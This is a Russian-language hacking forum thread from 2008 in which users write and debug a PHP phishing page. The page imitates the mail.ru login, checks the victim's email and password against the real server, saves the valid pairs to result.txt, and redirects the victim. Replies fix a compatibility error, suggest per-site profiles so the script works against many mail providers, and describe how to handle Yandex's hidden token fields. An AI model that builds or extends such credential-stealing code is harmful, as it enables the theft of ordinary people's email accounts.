Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

15.12.2008, 01:03
|
|
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме: 298300
Репутация:
128
|
|
Сообщение от .:EnoT:.
m0Hze
PHP код:
<?php
if(isset($_POST['submit'])){ // Если данные отправились
$mail = $_POST['mail'];
$zone = $_POST['zone'];
$pass = $_POST['pass'];
//имена полей ввода на разных сайтах, бывает, отличаются - менять для каждого
$post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//создание нового сеанса CURL, CURLOPT_URL='http://win.mail.ru/cgi-bin/auth'
$cl = curl_init('http://win.mail.ru/cgi-bin/auth');
//не выводить результат, а возвращать
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
//просто заполняет поле User-Agent: заголовка
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
//просто установка заголовка Referer
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
//включать заголовки в полученный ответ
curl_setopt($cl, CURLOPT_HEADER, 1);
//запрос методом POST
curl_setopt($cl, CURLOPT_POST, 1);
//установить отправляемые поля POST
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
//выполнить запрос и сохранить результат в exec
$exec = curl_exec($cl);
//освободить экземляр сеанса
curl_close($cl);
if(stripos($exec, 'Неверное имя пользователя или пароль')){
echo 'Неверные данные';
}else{
/* Запись в файл */
$open = fopen('result.txt', 'r+t');
fputs($open, $mail.'@'.$zone.' : '.$pass."\r\n");
fclose($open);
/* Переадресация куда-то */
header('location: http://kuda-to.ru');
die();
}
}else{
?>
<form action="" method="post">
<input name="mail" type="text" /><br/>
<select size="1" name="zone">
<option value="mail.ru">mail.ru</option>
<option value="bk.ru">bk.ru</option>
<option value="inbox.ru">inbox.ru</option>
<option value="list.ru">list.ru</option>
</select><br/>
<input name="pass" type="password" />
<input type="submit" value="Войти" name="submit" />
</form>
<?php
}
?>
PHP код:
//отправить запрос к странице error.php, которая находится рядом с твоим основным скриптом и получить то, что она выводит
$errorPageText=file_get_contents('error.php');
Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте...
И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...
Последний раз редактировалось ss88; 15.12.2008 в 01:09..
|
|
|

15.12.2008, 01:08
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Сообщение от m0Hze
Я не понял почти ничего из предложения выше 
Какие мы все жадные на плисеги
C проверкой напутал,сознаюсь.Но просто по случайности,я знаю как работает if 
Xt тебе от меня мой 1 плисег то?)
мдааа, при чём тут плюсики?
есть просто такое слово "Спасибо".
тебе тут вообще никто ничем не обязан помогать и что-то обьяснять, тебя могли бы просто проигнорить или обозвать ламером и послать на, но тебе выкладывают код, обьясняют что и как, исправляют.....ппц слов нет =\
ss88
зря, ему не поможет 
|
|
|

15.12.2008, 01:12
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Какие вы все злые то 
Спасибо я сказал бы, но просто еще много вопросов,и мне хотелось еще спросить,поэтому спасибо было вам уготовано в самом конце.ЗЫ.Уже сложилась в мозгу некая осоциация спасибо и +.Вот к чему приводит ачат 
Извините меня пожалуйста за мою грубость,признаю все свои ошики,и то что не сказал спасибо.Совсем уже в интернете живу а не в реале 
php.net там для меня еще слишком тяжело,читаю книжки пока что.ТО что понимаю не спрашиваю,а то что не понимаю приходиться спрашивать тут.
|
|
|

15.12.2008, 01:21
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Хотелось бы еще сказать,что твой скрипт енот,почему то не хочет работать на моему хостинге 8(
Fatal error: Call to undefined function: stripos() in /var/www/vhosts/m0hze.ru/httpdocs/test.php on line 21
Проверил,все также кк у тебя,ошибок в синтаксисе вроде нет.
// разобрался,хостинг тупой,на другом все работает.
Последний раз редактировалось m0Hze; 15.12.2008 в 01:24..
|
|
|

15.12.2008, 01:29
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Мы не злые, мы в меру добрые!
Сообщение от m0Hze
Хотелось бы еще сказать,что твой скрипт енот,почему то не хочет работать на моему хостинге 8(
а на моему работает 8)
Сообщение от m0Hze
Fatal error: Call to undefined function: stripos() in /var/www/vhosts/m0hze.ru/httpdocs/test.php on line 21
У тебя версия PHP ниже 5-й. В твоём случае замени stripos() на stristr()
Сообщение от m0Hze
Проверил,все также кк у тебя,ошибок в синтаксисе вроде нет.
Странно даже как-то. Я обычно все скрипты с ошибками пишу ))
|
|
|

15.12.2008, 01:30
|
|
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме: 298300
Репутация:
128
|
|
Давно такого не видел, "хостинг тупой"...это ж надо, какой тупой хостинг...
Просто эта функция характерна для РНР 5, судя по всему, у тебя 4
|
|
|

15.12.2008, 01:44
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Смешной 8)
Пробывал сделать на яндекс,вроде все сдела правильно,посмотрел переменные там только login passwd - заменил.Сменил рефер,куда слать запрос, и кстате там еще и по http можно,не обязаловка https. Но не пашет сволоч такая 8)
И у меня есть идея,я уже ее сказал одному челу в ЛС,и теперь еще тут опишу.
Сейчас проверка проходит простым хттп, а что если мутить по поп3? Это ведь даже легче наверно будет...м?
|
|
|

15.12.2008, 02:03
|
|
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме: 298300
Репутация:
128
|
|
Сообщение от m0Hze
Смешной 8)
Сейчас проверка проходит простым хттп, а что если мутить по поп3? Это ведь даже легче наверно будет...м?
Мдя... зачем??? Тебе так не нравится??? ))) Ты бы это до ума довел
+ добавь поддержку такого себе списка профилей (храни в файле или в БД), ведь, по сути, работа с разными сайтами здесь заключается в изменении нескольких всего параметров, а именно:
PHP код:
//1. специфические для сайтов имена инпутов
$post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//2. путь к авторизации
$cl = curl_init('http://win.mail.ru/cgi-bin/auth');
//3. Referer
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
//4. Проверять характерные для разных сайтов сообщения об ошибках
$errorPageText=file_get_contents('error.php');
В итоге, в случае работы с большим кол-вом сайтов, можно будет получить некоторую гибкость малой кровью
Последний раз редактировалось ss88; 15.12.2008 в 02:10..
|
|
|

15.12.2008, 02:08
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
не по поп3,можно былобы легко настраивать под любой почтовик.А так нужно еще помучаться с переменными.Ведь с яндексом я досих пор не смог заммутить...=)
|
|
|

15.12.2008, 02:19
|
|
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме: 298300
Репутация:
128
|
|
и про Яндекс, я, кажется, понял, почему у тебя ничего не выходит, это не из-за http или https.
Просто там в форме присутствует скрытое поле
PHP код:
<input type="hidden" name="idkey" value = "3361229293991TPx0L3xKE">
Это какой-то динамический id... Но, по-моему, выйти из этой ситуации можно так:
PHP код:
$preAuth=file_get_contents('http://passport.yandex.ru/passport');
//$idKey=выдираем из кода страницы значение поля
//а когда уже передаем Логин/Пароль, то нужно в POST засунуть и этот id
+там еще есть скрытое поле timestamp, вполне возможно, что они проверяют его наличие в POST-запросе
Последний раз редактировалось ss88; 15.12.2008 в 02:21..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|